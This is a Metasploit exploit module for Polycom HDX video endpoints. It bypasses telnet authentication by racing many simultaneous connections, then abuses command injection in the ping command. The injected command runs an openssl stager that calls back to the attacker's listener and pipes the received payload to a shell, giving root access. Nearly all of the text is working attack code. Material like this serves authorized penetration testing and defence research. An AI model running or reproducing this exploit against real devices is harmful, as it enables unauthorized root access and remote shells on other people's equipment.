Polycom – Command Shell Authorization Bypass (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Polycom Command Shell Authorization Bypass', 'Alias' => 'polycom_hdx_auth_bypass', 'Author' => [ 'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module 'h00die <mike@shorebreaksecurity.com>', # submission/cleanup ], 'DisclosureDate' => 'Jan 18 2013', 'Description' => %q( The login component of the Polycom Command Shell on Polycom HDX video endpoints, running software versions 3.0.5 and earlier, is vulnerable to an authorization bypass when simultaneous connections are made to the service, allowing remote network attackers to gain access to a sandboxed telnet prompt without authentication. Versions prior to 3.0.4 contain OS command injection in the ping command which can be used to execute arbitrary commands as root. ), 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], [ 'EDB', '24494'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Space' => 8000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'DefaultTarget' => 0 ) ) register_options( [ Opt::RHOST(), Opt::RPORT(23), OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) ], self.class ) register_advanced_options( [ OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) ], self.class ) end def check connect sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") Rex.sleep(1) res = sock.get_once disconnect if !res && !res.empty? return Exploit::CheckCode::Safe end if res =~ /Welcome to ViewStation/ return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit # Keep track of results (successful connections) results = [] # Random string for password password = Rex::Text.rand_text_alpha(rand(5) + 1) # Threaded login checker max_threads = datastore['THREADS'] cur_threads = [] # Try up to 100 times just to be sure queue = [*(1..datastore['MAX_CONNECTIONS'])] print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") until queue.empty? while cur_threads.length < max_threads # We can stop if we get a valid login break unless results.empty? # keep track of how many attempts we've made item = queue.shift # We can stop if we reach max tries break unless item t = Thread.new(item) do |count| sock = connect sock.put(password + "\n") res = sock.get_once until res.empty? break unless results.empty? # Post-login Polycom banner means success if res =~ /Polycom/ results << sock break # bind error indicates bypass is working elsif res =~ /bind/ sock.put(password + "\n") # Login error means we need to disconnect elsif res =~ /failed/ break # To many connections means we need to disconnect elsif res =~ /Error/ break end res = sock.get_once end end cur_threads << t end # We can stop if we get a valid login break unless results.empty? # Add to a list of dead threads if we're finished cur_threads.each_index do |ti| t = cur_threads[ti] unless t.alive? cur_threads[ti] = nil end end # Remove any dead threads from the set cur_threads.delete(nil) Rex.sleep(0.25) end # Clean up any remaining threads cur_threads.each { |sock| sock.kill } if !results.empty? print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") do_payload(results[0]) else print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") end end def do_payload(sock) # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" sock.put(cmd) # Give time for our command to be queued and executed 1.upto(5) do Rex.sleep(1) break if session_created? end end def stage_final_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) self.service.on_client_connect_proc = proc { |client| stage_final_payload(client) } # Start the listening service self.service.start end # Shut down any running services def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.is_a?(Rex::Service) if self.service.is_a?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end # Accessor for our TCP payload stager attr_accessor :service end |